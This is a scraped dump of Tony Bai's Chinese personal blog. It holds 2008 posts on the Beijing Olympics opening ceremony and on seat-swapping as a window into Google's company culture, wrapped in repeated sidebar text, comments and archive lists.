使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2008/08/14/when-fighting-for-glory-become-a-per-phrase/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"当“为荣誉而战”成为口头禅时"},{"content":"北京时间2008年8月8日晚上8点8分，第29届北京奥林匹克运动会在北京国家体育场\u0026quot;鸟巢\u0026quot;正式开幕了。此时，让我们共同见证这一举世瞩目的历史时刻吧。\n当颇具创意的由焰火组成的29个巨大脚印从中轴路走进国家体育场的一刻，举国沸腾了，奥运会真的来了。7年的等待，7年的准备，中国人终于等到了这一刻。坐在电视前，我的心情和现场的所有国人一样，激情澎湃。\n国旗在56个民族的小朋友的手里传递到旗杆下，威武的国旗护卫队成员庄严的升起了鲜红的五星红旗，瞬间国歌声响彻华夏大地，自豪和骄傲之情在每一个中华儿女心中激荡。这时收到同事的一条短信：\u0026ldquo;为中华崛起干杯”! 干杯，中华民族必须崛起，必须的!\n颇具中国特色的文艺演出开始了，我的总体感觉是2008面鼓+一副画+一个地球组成了文艺演出的全部，给我印象最深的应该是\u0026quot;倒计时\u0026rdquo;、“第一副画”以及\u0026quot;和\u0026quot;字表演。让我失望的是刘欢和莎拉布莱曼合唱的主题歌《我和你》，词曲一般，刘欢唱的一般，月光女神嗓子很好，可就不知道她到底是在用什么语种在唱，一句也听不清，太失败了。真的还不如让《北京欢迎你》作为主题歌呢，在新浪网的调查中，认为主题歌不好的占了近50%，认为一般的占了30%，看来大家的感觉是一样的，真不知道为什么选这首歌。\n运动员入场了。希腊队有着先天的优势，总是第一个接受检阅。也许是太激动了，董卿和孙正平激动的嘴都不听使唤了，总是说错，难道那些国家的名称太难读了。运动员进场的过程就像是在做一场服装展示会，哇塞，特别是那些偏远的小国，个个奇装异服，真是让我们打开了眼界，奥运真是世界文化的大集合啊。约旦代表队的旗手好漂亮！梅西似乎没有在出场的阿根廷代表队中，遗憾。在古巴队中看到罗伯斯了，纳达尔也在西班牙的队伍中。波兰队女队员穿的真够鲜艳的，通红！:)\n俄罗斯和美国代表团先后出场了！普金和布什先后起立，和自己国家的运动员举手示意。基辛格好胖啊。美国代表队的小白帽不错。美国代表队人真的不少！看来，奥运还是大国间的竞争啊！美属.维尔京群岛代表团穿的太休闲了，不知道以为是到中国来旅游。今年一直赛场失意的费天王作为瑞士代表团旗手入场了，希望费天王能重整旗鼓，在奥运会上获得好成绩。墨西哥的旗手-那个跳水运动员也蛮标致的，气质很好。\n23：08分，中国队出场了，姚明作为旗手，首当其冲。全场再一次沸腾了。姚明旁边的小朋友是汶川地震中的一位小英雄，这种经历必定让其终身难忘。运动员入场即将结束，下一个高潮就是点火仪式了。新浪已经曝出最后的几位火炬手依次是：许海峰、高敏、李小双、占旭刚、张军、陈中、孙晋芳和李宁，其中李宁将点燃主火炬。不过如何点燃主火炬，目前还是个谜。让我们拭目以待。\n刘淇和罗格走出来了。走上中央的那个图卷上。刘淇致辞。罗格致辞。胡主席宣布奥运会开幕了。会旗入场，升奥林匹克会旗，唱奥林匹克会歌。\n张怡宁代表全体运动员宣誓。黄力平代表全体裁判员宣誓。进行放飞和平鸽仪式，以双手代和平鸽。\n奥林匹克圣火入场了。为中国获得奥运首金的许海峰第一棒。第二棒跳水皇后高敏。李小双接过第三棒，接棒的时候似乎有些问题，不过还好没有大碍。第四位是大力士占旭刚。第五位羽毛球老将张军。第六位火炬手跆拳道高手陈中。第七位火炬手是老女排孙晋芳。\n到最后一位火炬手了。李宁，就是李宁。李宁飞起来了，飞起来了。李宁在天空的祥云背景下奔跑着，太有创意了。看起来很真实。似乎要绕场一周。 一个大祥云火炬映入眼帘了，那就是主火炬。李宁点燃了主火炬，圣火点燃了。从空拍来看，熊熊燃烧的圣火很是壮观。\n开幕式基本很圆满，很成功。圣火和焰火点亮了北京的夜空。中华民族的崛起之火也从此越烧越旺。\n","permalink":"https://tonybai.com/2008/08/08/now-let-us-be-the-witness-of-29th-beijing-olympic-games-together/","summary":"\u003cp\u003e北京时间2008年8月8日晚上8点8分，第29届北京奥林匹克运动会在北京国家体育场\u0026quot;鸟巢\u0026quot;正式开幕了。此时，让我们共同见证这一举世瞩目的历史时刻吧。\u003c/p\u003e","title":"此刻，让我们共同见证第29届北京奥运会"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2008/08/08/sina-make-a-stupid-mistake/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"新浪网居然如此粗心大意"},{"content":"最近我们开发部正在讨论搬家事宜，搬家后的一个重点就是要调换和安排座位，恰好上周在Google黑板报上也看到了一篇题目为“Google如何调换座位”的文章，本来很平常的一件事，但在不同的公司里却恰恰能体现出来不同的公司文化。\n换座位想必大家都经历过，从小学到高中，座位一般都是老师安排好的，或是按照大小个排队，走进教室，轮到哪个座位，哪个座位就是你的，我想大多数中国的中小学调座位的方法都大同小异。工作后，调座的策略一般都是以项目组为单位，大家坐在一起便于沟通交流。但是如果你看了Google黑板报上那篇文章中的座位调换方法后，想必你一定会感觉很是惊奇，因为大多数人从不曾想过还可以这样换座位，这里暂不论Google采用的方式是否是最好的一个，但就其方式本身，却能反映出Google公司与众不同的企业文化。\n在通常的公司里，一般来说换座位都是自顶向下的：即领导指定秘书做座位安排，秘书按照项目组划分区域，然后让项目经理细化座位。而在Google，这种方式是自下而上的，Google把鼓励员工创新始终是放在第一位的，公司内将创新习以惯之，且不限于软件研发领域，几乎任何事情普通员工都可以参与，员工地位平等，从那篇文章中也可以看出领导在分座位的时候也是没有特权的。在这种氛围下，员工的能动性得以充分发挥。\n国内公司多数采用的还是自顶向下的驱动文化，在这种文化熏陶下，久而久之，员工们的创新意识将被打磨殆尽，说句不好听的，都变成了IT力工、瓦工了。\n","permalink":"https://tonybai.com/2008/08/07/learn-culture-differences-from-seat-exchanges/","summary":"\u003cp\u003e最近我们开发部正在讨论搬家事宜，搬家后的一个重点就是要调换和安排座位，恰好上周在\u003ca href=\"http://googlechinablog.com/\"\u003eGoogle黑板报\u003c/a\u003e上也看到了一篇题目为“\u003ca href=\"http://googlechinablog.com/2008/07/blog-post_28.html\"\u003eGoogle如何调换座位\u003c/a\u003e”的文章，本来很平常的一件事，但在不同的公司里却恰恰能体现出来不同的公司文化。\u003c/p\u003e\n\u003cp\u003e换座位想必大家都经历过，从小学到高中，座位一般都是老师安排好的，或是按照大小个排队，走进教室，轮到哪个座位，哪个座位就是你的，我想大多数中国的中小学调座位的方法都大同小异。工作后，调座的策略一般都是以项目组为单位，大家坐在一起便于沟通交流。但是如果你看了Google黑板报上那篇文章中的座位调换方法后，想必你一定会感觉很是惊奇，因为大多数人从不曾想过还可以这样换座位，这里暂不论Google采用的方式是否是最好的一个，但就其方式本身，却能反映出Google公司与众不同的企业文化。\u003c/p\u003e","title":"从座位调换看文化差异"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 